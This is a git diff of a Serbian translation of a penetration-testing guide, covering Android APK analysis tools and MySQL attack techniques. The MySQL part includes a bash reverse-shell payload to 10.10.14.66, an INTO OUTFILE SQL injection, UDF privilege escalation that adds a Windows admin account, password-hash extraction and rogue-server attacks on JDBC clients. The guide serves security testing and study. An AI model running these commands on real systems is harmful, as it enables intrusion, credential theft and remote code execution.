- Analizirati APK-ove koristeći: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Ekstrahovati privatne informacije iz APK-a korišćenjem regexp-ova.
|
||||
- Analizirati Manifest.
|
||||
- Analizirati pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuskovati APK preko [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Extract Java and Smali code using different tools
|
||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extract private information from the APK using regexps.
|
||||
- Analyze the Manifest.
|
||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Koristan za detekciju malvera: [https://koodous.com/](https://koodous.com)
|
||||
Korisno za otkrivanje malvera: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Imajte na umu da, u zavisnosti od servisa i konfiguracije koju koristite za obfuskaciju koda, tajne mogu biti ili ne moraju biti obfuskirane.
|
||||
Imajte na umu da, u zavisnosti od servisa i konfiguracije koje koristite za obfuskaciju koda, tajne mogu ili ne moraju biti obfuskirane.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat komandne linije koji smanjuje, optimizuje i obfuskira Java kod. Sposoban je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je slobodan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je alat otvorenog koda komandne linije koji smanjuje, optimizuje i obfuskira Java kod. U mogućnosti je da optimizuje bytecode kao i da detektuje i ukloni neiskorišćena uputstva. ProGuard je slobodan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
|
||||
ProGuard se distribuira kao deo Android SDK-a i radi prilikom buildovanja aplikacije u release modu.
|
||||
ProGuard se isporučuje kao deo Android SDK-a i pokreće se pri buildovanju aplikacije u release modu.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Pronađite vodič korak-po-korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Pronađite korak-po-korak vodič za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Prema ovom vodiču) Poslednji put kada smo proverili, način rada DexGuard-a je bio:
|
||||
(Iz tog vodiča) Poslednji put kada smo proveravali, Dexguard režim rada je bio:
|
||||
|
||||
- učitaj resurs kao InputStream;
|
||||
- prosledi rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovala;
|
||||
- uradi neku beskorisnu obfuskaciju da bi potrošio nekoliko minuta reverzera;
|
||||
- prosledi dekriptovani rezultat ZipInputStream-u da bi dobio DEX fajl;
|
||||
- konačno učitaj rezultujući DEX kao Resource koristeći `loadDex` metodu.
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard vraća proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne bezbednosne analize, uključujući inspekciju koda i predviđanje biblioteka.**
|
||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
||||
|
||||
Možete otpremiti obfuskirani APK na njihovu platformu.
|
||||
Možete otpremiti obfuskovani APK na njihovu platformu.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u Android aplikacijama i deobfuskaciju koda Android aplikacija. Koristi Google's Gemini public API.
|
||||
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
To je generički deobfuskator za Android. Simplify virtuelno izvršava aplikaciju da bi razumeo njeno ponašanje i zatim pokušava da optimizuje kod tako da se ponaša identično, ali bude lakši za razumevanje ljudima. Svaki tip optimizacije je jednostavan i generički, tako da nije važno koji specifični tip obfuskacije je korišćen.
|
||||
To je **generički android deobfuscator.** Simplify **virtually executes an app** da bi razumeo njeno ponašanje i zatim **tries to optimize the code** tako da se ponaša identično, ali bude lakše razumljiv čoveku. Svaka vrsta optimizacije je jednostavna i generička, tako da nije bitno koja specifična vrsta obfuskacije je korišćena.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD vam daje informacije o tome kako je APK napravljen. Identifikuje mnoge kompajlere, packere, obfuskatore i druge neobične stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
|
||||
APKiD gives you information about **how an APK was made**. Identifikuje mnoge **compilers**, **packers**, **obfuscators**, i druge neobične stvari. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -802,7 +802,7 @@ APKiD vam daje informacije o tome kako je APK napravljen. Identifikuje mnoge kom
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b je Android sigurnosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-ova, tutorijala i laboratorija od različitih security geeka i istraživača za reverse engineering i analizu malvera.
|
||||
AndroL4b je Android security virtual machine bazirana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i labova od različitih security entuzijasta i istraživača za reverse engineering i analizu malvera.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,8 +4,7 @@
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**MySQL** se može opisati kao otvorenog koda **sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez naknade.
|
||||
Radi koristeći **strukturirani upitni jezik (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
||||
**MySQL** se može opisati kao sistem za upravljanje relacionim bazama podataka (RDBMS) otvorenog koda koji je dostupan besplatno. Koristi **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
||||
|
||||
**Podrazumevani port:** 3306
|
||||
```
|
||||
@ -18,14 +17,14 @@ Radi koristeći **strukturirani upitni jezik (SQL)**, omogućavajući upravljanj
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
```
|
||||
### Daljinski
|
||||
### Udaljeno
|
||||
```bash
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## Spoljna enumeracija
|
||||
## Eksterna enumeracija
|
||||
|
||||
Neke od radnji enumeracije zahtevaju validne kredencijale
|
||||
Neke enumeracione akcije zahtevaju važeće pristupne podatke
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -37,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### Upis bilo kojih binarnih podataka
|
||||
### Upišite proizvoljne binarne podatke
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
@ -79,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### Enumeracija MySQL dozvola
|
||||
### MySQL enumeracija privilegija
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -102,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
U dokumentaciji možete videti značenje svakog privilegija: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute
|
||||
U dokumentaciji možete videti značenje svake privilegije: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL File RCE
|
||||
|
||||
@ -111,35 +110,35 @@ U dokumentaciji možete videti značenje svakog privilegija: https://dev.mysql.c
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (hookovi konfiguracije specifični za sajt)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (konfiguracioni hooks specifični za sajt)
|
||||
|
||||
Zloupotrebom klasičnog `INTO OUTFILE` primitive moguće je dobiti *proizvoljno izvršavanje koda* na ciljevima koji kasnije pokreću **Python** skripte.
|
||||
Zloupotrebom klasičnog `INTO OUTFILE` primitiva moguće je dobiti *arbitrary code execution* na ciljanim sistemima koji kasnije izvršavaju **Python** skripte.
|
||||
|
||||
1. Koristite `INTO OUTFILE` da ispišete prilagođenu **`.pth`** datoteku u bilo koji direktorijum koji se automatski učitava preko `site.py` (npr. `.../lib/python3.10/site-packages/`).
|
||||
2. `.pth` datoteka može sadržati *jedan red* koji počinje sa `import ` praćen proizvoljnim Python kodom koji će se izvršiti svaki put kada se interpreter pokrene.
|
||||
3. Kada se interpreter implicitno pokrene od strane CGI skripta (na primer `/cgi-bin/ml-draw.py` sa shebangom `#!/bin/python`) payload će se izvršiti sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuni pre-auth RCE).
|
||||
1. Koristite `INTO OUTFILE` da ubacite prilagođeni **`.pth`** fajl u bilo koji direktorijum koji se automatski učitava preko `site.py` (npr. `.../lib/python3.10/site-packages/`).
|
||||
2. `.pth` fajl može sadržati *jedan red* koji počinje sa `import `, nakon čega sledi proizvoljan Python kod koji će se izvršiti svaki put kad se interpreter pokrene.
|
||||
3. Kada se interpreter implicitno pokrene iz CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → full pre-auth RCE).
|
||||
|
||||
Primer `.pth` payload-a (jedan red, u finalnom SQL payload-u ne mogu se uključiti razmaci, pa može biti neophodno koristiti hex/`UNHEX()` ili konkatenaciju stringova):
|
||||
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Primer sastavljanja fajla putem **UNION** upita (karakteri razmaka zamenjeni sa `/**/` da bi se zaobišao `sscanf("%128s")` filter za razmake i održala ukupna dužina ≤128 bajtova):
|
||||
Primer kreiranja fajla pomoću **UNION** upita (karakteri razmaka zamenjeni sa `/**/` da bi se zaobišao filter razmaka `sscanf("%128s")` i održala ukupna dužina ≤128 bajtova):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
Važna ograničenja i zaobilaženja:
|
||||
Važna ograničenja & zaobilaženja:
|
||||
|
||||
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
|
||||
* Putanja fajla se rešava **relative to MySQL’s CWD**, pa prefiks `../../` pomaže da se skrati putanja i zaobiđu ograničenja apsolutne putanje.
|
||||
* Ako se attacker input ekstrahuje sa `%128s` (ili slično), svaki razmak će prekinuti payload; koristite MySQL comment sequences `/**/` ili `/*!*/` umesto razmaka.
|
||||
* MySQL korisnik koji izvršava upit treba privilegiju `FILE`, ali na mnogim appliance-ima (npr. FortiWeb) servis radi kao **root**, što omogućava mogućnost pisanja gotovo svuda.
|
||||
* `INTO OUTFILE` **ne može prepisati** postojeće fajlove; izaberite novo ime fajla.
|
||||
* Putanja fajla se rešava **relativno u odnosu na MySQL’s CWD**, tako da dodavanje prefiksa `../../` pomaže da se skrati putanja i zaobiđu ograničenja apsolutne putanje.
|
||||
* Ako se unos napadača izvlači sa `%128s` (ili slično) svaki razmak će skratiti payload; koristite MySQL komentarske sekvence `/**/` ili `/*!*/` da zamenite razmake.
|
||||
* Korisnik MySQL-a koji izvršava upit treba `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) servis radi kao **root**, što daje write access gotovo svuda.
|
||||
|
||||
Nakon postavljanja `.pth`, jednostavno pozovite bilo koji CGI koji obrađuje python interpreter da biste dobili code execution:
|
||||
Nakon ubacivanja `.pth`, jednostavno pošaljite zahtev bilo kojem CGI-ju koji obrađuje python interpreter da biste dobili code execution:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Python proces će automatski importovati zlonamerni `.pth` i izvršiti shell payload.
|
||||
Python proces će automatski importovati maliciozni `.pth` i izvršiti shell payload.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
@ -148,21 +147,22 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL proizvoljno čitanje fajla preko client-a
|
||||
## MySQL proizvoljno čitanje fajla preko klijenta
|
||||
|
||||
Zapravo, kada pokušate da **load data local into a table** **sadržaj fajla** MySQL ili MariaDB server traži od **client-a da ga pročita** i pošalje sadržaj. **Zatim, ako možete manipulisati mysql client da se poveže na vaš sopstveni MySQL server, možete pročitati proizvoljne fajlove.**\
|
||||
Obratite pažnju da je ovo ponašanje pri korišćenju:
|
||||
Zapravo, kada pokušate da **load data local into a table** — tj. da pošaljete **content of a file** — MySQL ili MariaDB server zahteva od **client to read it** i da pošalje sadržaj. **Ako možete izmeniti mysql client tako da se poveže na vaš sopstveni MySQL server, možete pročitati proizvoljne fajlove.**\
|
||||
Imajte na umu da je ovo ponašanje pri korišćenju:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(Обратите пажњу на реч "local")\Зато што без "local" можете добити:
|
||||
(Обратите пажњу на реч "local")\
|
||||
Зато што без "local" можете добити:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**U ovom radu možete naći kompletan opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Ovde možete naći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -171,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mysql korisnik
|
||||
### Mysql User
|
||||
|
||||
Biće veoma interesantno ako mysql radi kao **root**:
|
||||
Biće vrlo zanimljivo ako mysql radi kao **root**:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### Opasna podešavanja mysqld.cnf
|
||||
#### Opasne postavke mysqld.cnf
|
||||
|
||||
U konfiguraciji MySQL servisa koriste se različita podešavanja za definisanje njegovog rada i bezbednosnih mera:
|
||||
U konfiguraciji MySQL servisa, koriste se različite postavke za definisanje rada i bezbednosnih mera:
|
||||
|
||||
- Podešavanje **`user`** se koristi za označavanje korisnika pod kojim će MySQL servis biti pokrenut.
|
||||
- **`password`** se koristi za postavljanje lozinke povezane sa MySQL korisnikom.
|
||||
- **`admin_address`** određuje IP adresu koja sluša za TCP/IP konekcije na administrativnom mrežnom interfejsu.
|
||||
- Promenljiva **`debug`** označava aktuelne debug konfiguracije, koje mogu uključivati osetljive informacije u logovima.
|
||||
- **`sql_warnings`** kontroliše da li se generišu informativni stringovi za single-row INSERT statements kada se pojave upozorenja, koji mogu sadržati osetljive podatke u logovima.
|
||||
- Sa **`secure_file_priv`**, opseg import/export operacija je ograničen da bi se poboljšala bezbednost.
|
||||
- Podešavanje **`user`** koristi se za označavanje korisnika pod kojim će MySQL servis biti pokrenut.
|
||||
- **`password`** služi za postavljanje lozinke povezane sa MySQL korisnikom.
|
||||
- **`admin_address`** određuje IP adresu koja osluškuje TCP/IP konekcije na administratorskom mrežnom interfejsu.
|
||||
- Promenljiva **`debug`** ukazuje na aktuelne debug konfiguracije, uključujući osetljive informacije u logovima.
|
||||
- **`sql_warnings`** kontroliše da li se generišu informativni stringovi za INSERT izjave sa jednom vrstom kada se pojave upozorenja, što može sadržati osetljive podatke u logovima.
|
||||
- Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi povećanja bezbednosti.
|
||||
|
||||
### Privilege escalation
|
||||
### Eskalacija privilegija
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -207,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
### Eskalacija privilegija putem biblioteke
|
||||
|
||||
Ako je **mysql server is running as root** (ili neki drugi korisnik sa većim privilegijama), možete ga naterati da izvršava komande. Za to treba da koristite **user defined functions**. A da biste kreirali user defined funkciju, biće vam potrebna **library** za OS na kome radi mysql.
|
||||
Ako je **mysql server pokrenut kao root** (ili neki drugi korisnik sa većim privilegijama), možete ga naterati da izvršava komande. Za to morate koristiti **user defined functions**. A da biste kreirali **user defined functions**, biće vam potrebna **biblioteka** za OS na kome radi mysql.
|
||||
|
||||
Zlonamerna **library** koju treba koristiti možete naći u sqlmap i u metasploit tako što ćete pokrenuti **`locate "*lib_mysqludf_sys*"`**. Datoteke **`.so`** su **linux** libraries, a **`.dll`** su **Windows** ones — izaberite onu koja vam treba.
|
||||
Zlonamernu biblioteku koju treba koristiti možete naći u sqlmap i u metasploit pomoću komande **`locate "*lib_mysqludf_sys*"`**. **`.so`** fajlovi su **linux** biblioteke, a **`.dll`** su oni za **Windows** — izaberite onaj koji vam treba.
|
||||
|
||||
Ako **nemate** te libraries, možete ih ili **potražiti**, ili preuzeti ovaj [**linux C code**](https://www.exploit-db.com/exploits/1518) i **kompajlirajte ga na ranjivom linux sistemu**:
|
||||
Ako **nemate** te biblioteke, možete ih ili **potražiti**, ili preuzeti ovaj [**linux C code**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga na ranjivom linux računaru**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
Sada kada imate biblioteku, prijavite se u Mysql kao privilegovani korisnik (root?) i sledite sledeće korake:
|
||||
Sada kada imaš biblioteku, uloguj se u Mysql kao privilegovani korisnik (root?) i prati sledeće korake:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -252,32 +252,32 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
#### Windows savet: kreirajte direktorijume sa NTFS ADS iz SQL-a
|
||||
#### Windows tip: create directories with NTFS ADS from SQL
|
||||
|
||||
Na NTFS-u možete prisiliti kreiranje direktorijuma koristeći alternate data stream čak i kada postoji samo file write primitive. Ako classic UDF chain očekuje `plugin` direktorijum, ali on ne postoji i `@@plugin_dir` je nepoznat ili zaključan, možete ga prvo kreirati pomoću `::$INDEX_ALLOCATION`:
|
||||
Na NTFS-u možete prisiliti kreiranje direktorijuma koristeći alternate data stream čak i kada postoji samo file write primitive. Ako classic UDF chain očekuje `plugin` direktorijum ali on ne postoji i `@@plugin_dir` je nepoznat ili zaključan, možete ga prvo kreirati koristeći `::$INDEX_ALLOCATION`:
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
Ovo pretvara ograničeni `SELECT ... INTO OUTFILE` u potpuniji primitiv na Windows stackovima kreiranjem potrebne strukture direktorijuma za UDF drops.
|
||||
Ovo pretvara ograničeni `SELECT ... INTO OUTFILE` u potpuniji primitiv na Windows stackovima tako što postavlja strukturu foldera potrebnu za UDF drops.
|
||||
|
||||
### Ekstrakcija MySQL kredencijala iz fajlova
|
||||
|
||||
U fajlu _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
|
||||
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Možete **koristiti ove kredencijale da se prijavite u mysql bazu podataka**.
|
||||
Možete **koristiti ove kredencijale da se prijavite u mysql bazu**.
|
||||
|
||||
Unutar fajla: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hashes MySQL korisnika** (koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||
Unutar fajla: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hashes MySQL korisnika** (koje možete izvući iz mysql.user unutar baze)_._
|
||||
|
||||
Možete ih izvući na sledeći način:
|
||||
Možete ih izvući ovako:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
### Omogućavanje logovanja
|
||||
|
||||
Možete omogućiti logovanje mysql upita u fajlu `/etc/mysql/my.cnf` tako što ćete otkomentarisati sledeće linije:
|
||||
Možete omogućiti logovanje mysql upita u `/etc/mysql/my.cnf` otkomentarišući sledeće linije:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -608,7 +608,7 @@ x$session\
|
||||
x$statement_analysis\
|
||||
x$statements\_with\_errors\_or\_warnings\
|
||||
x$statements_with_full_table_scans\
|
||||
x$statements\_with\_runtimes\_in_95th_percentile\
|
||||
x$statements\_with\_runtimes\_in\_95th_percentile\
|
||||
x$statements_with_sorting\
|
||||
x$statements\_with\_temp\_tables\
|
||||
x$user_summary\
|
||||
@ -616,7 +616,7 @@ x$user\_summary\_by\_file\_io\
|
||||
x$user_summary_by_file_io_type\
|
||||
x$user\_summary\_by\_stages\
|
||||
x$user_summary_by_statement_latency\
|
||||
x$user\_summary_by_statement\_type\
|
||||
x$user\_summary_by_statement_type\
|
||||
x$wait_classes_global_by_avg_latency\
|
||||
x$wait\_classes\_global\_by\_latency\
|
||||
x$waits_by_host_by_latency\
|
||||
@ -656,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Najvažnije (novo)
|
||||
## 2023-2025 Istaknuto (novo)
|
||||
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
Od Connector/J <= 8.0.32, napadač koji može da utiče na **JDBC URL** (na primer u third-party softveru koji traži connection string) može zahtevati učitavanje proizvoljnih klasa na *klijentskoj* strani preko parametra `propertiesTransform`. Ako se na class-path nalazi gadget koji može biti učitan, to rezultira u **remote code execution in the context of the JDBC client** (pre-auth, jer nisu potrebni validni kredencijali). Minimalni PoC izgleda ovako:
|
||||
Od Connector/J <= 8.0.32 napadač koji može da utiče na **JDBC URL** (na primer u third-party softveru koji traži connection string) može da zatraži da proizvoljne klase budu učitane na *client* strani putem `propertiesTransform` parametra. Ako je gadget prisutan na class-path i može da se učita, ovo rezultira **remote code execution in the context of the JDBC client** (pre-auth, jer nisu potrebne validne credentials). Minimalni PoC izgleda ovako:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Pokretanje `Evil.class` može biti tako jednostavno kao postavljanje iste na class-path ranjive aplikacije ili omogućavanje da rogue MySQL server pošalje maliciozan serializovani objekat. Problem je ispravljen u Connector/J 8.0.33 – nadogradite driver ili eksplicitno podesite `propertiesTransform` na allow-list.
|
||||
(Pogledajte Snyk write-up za detalje)
|
||||
Pokretanje `Evil.class` može biti jednostavno kao postavljanje iste na class-path ranjive aplikacije ili dozvoljavanje rogue MySQL serveru da pošalje maliciozan serializovan objekat. Problem je ispravljen u Connector/J 8.0.33 – ažurirajte driver ili eksplicitno postavite `propertiesTransform` na allow-listu.
|
||||
(Vidi Snyk write-up za detalje)
|
||||
|
||||
### Napadi Rogue / Fake MySQL servera protiv JDBC klijenata
|
||||
Nekoliko open-source alata implementira *delimičan* MySQL protokol kako bi napali JDBC klijente koji se konektuju spolja:
|
||||
Nekoliko open-source alata implementira *partial* MySQL protokol kako bi napali JDBC klijente koji se povezuju spolja:
|
||||
|
||||
* **mysql-fake-server** (Java, podržava čitanje fajlova i deserialization exploite)
|
||||
* **mysql-fake-server** (Java, podržava file read i deserialization exploite)
|
||||
* **rogue_mysql_server** (Python, slične mogućnosti)
|
||||
|
||||
Tipični putevi napada:
|
||||
|
||||
1. Aplikacija žrtve učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`.
|
||||
2. Napadač kontroliše DNS / host unos tako da se hostname baze podataka razreši na mašinu pod njegovom kontrolom.
|
||||
3. Maliciozni server odgovara pripremljenim paketima koji pokreću ili `LOCAL INFILE` za proizvoljno čitanje fajlova ili Java deserialization → RCE.
|
||||
1. Ciljna aplikacija učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`.
|
||||
2. Napadač kontroliše DNS / host unos tako da hostname DB-a rezolvuje na mašinu pod njegovom kontrolom.
|
||||
3. Maliciozni server odgovara crafted paketima koji pokreću ili `LOCAL INFILE` arbitrary file read ili Java deserialization → RCE.
|
||||
|
||||
Primer jednolinijske komande za pokretanje fake servera (Java):
|
||||
Example one-liner to start a fake server (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena fajla u base64 u *username* polju (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
Zatim usmerite victim application na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` tako što ćete ime fajla kodirati u base64 u polju *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Cracking `caching_sha2_password` hashes
|
||||
